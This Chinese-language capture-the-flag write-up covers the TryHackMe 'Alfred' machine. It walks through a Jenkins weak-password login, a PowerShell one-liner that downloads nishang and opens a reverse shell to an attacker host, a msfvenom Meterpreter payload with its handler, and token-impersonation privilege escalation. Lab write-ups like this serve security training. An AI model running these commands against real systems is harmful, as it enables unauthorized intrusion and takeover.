0%

TryHackMe-alfred

靶机链接:Alfred

靶机难度:十分简单

信息收集

1
2
ports=$(nmap -p- --min-rate=1000  -T4 10.10.101.210 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -sC -sV -p$ports 10.10.101.210

nmap

访问80端口没东西,8080Jenkins上来直接弱口令登录成功
login

configure配置处可以执行系统命令
configure

使用nishang的脚本powershell脚本,使用Jenkins的提供的web命令窗口执行下载命令。

1
powershell iex (New-Object Net.WebClient).DownloadString('http://your-ip/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress your-ip -Port your-port

先开启一个nc监听后,执行。等待反弹一个powershell。

aa

C:\Users\bruce\Desktop>处获得user-flag

提权

为了方便提权,我们可以转移到msf上面去执行。生成一个payload。

1
msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=[Your-ip] LPORT=[Your-port] -f exe -o chickme.exe

使用这个命令下载msf生成的反向payload

1
powershell "(New-Object System.Net.WebClient).Downloadfile('http://ip:port/chickme.exe','shell.exe')"

不过先不急着连接msf生成的payload,先查看当前用户的权限
priv

连接msf生成的payload。打开msf,执行以下命令,监听端口。这里设置的ip和port要和前面用msfvenom生成的payload一致。

1
2
3
4
5
use exploit/multi/handler 
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST your-ip
set LPORT listening-port
run

run

使用这条命令执行exe程序

1
start-process shell.exe

转移shell之后,我们已经知道当前用户的权限中,是有以下的权限是开启的。

权限 简要 状态
SeDebugPrivilege Debug programs Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled

所以可以尝试使用获取token的方式来提权。先在msf的shell中导入我们需要的模块,列出token,导入token,转移进程

1
2
3
4
load incognito
list_tokens -g
impersonate_token "BUILTIN\Administrators"
migrate pid

token

Abusing Token Privileges For LPE access-tokens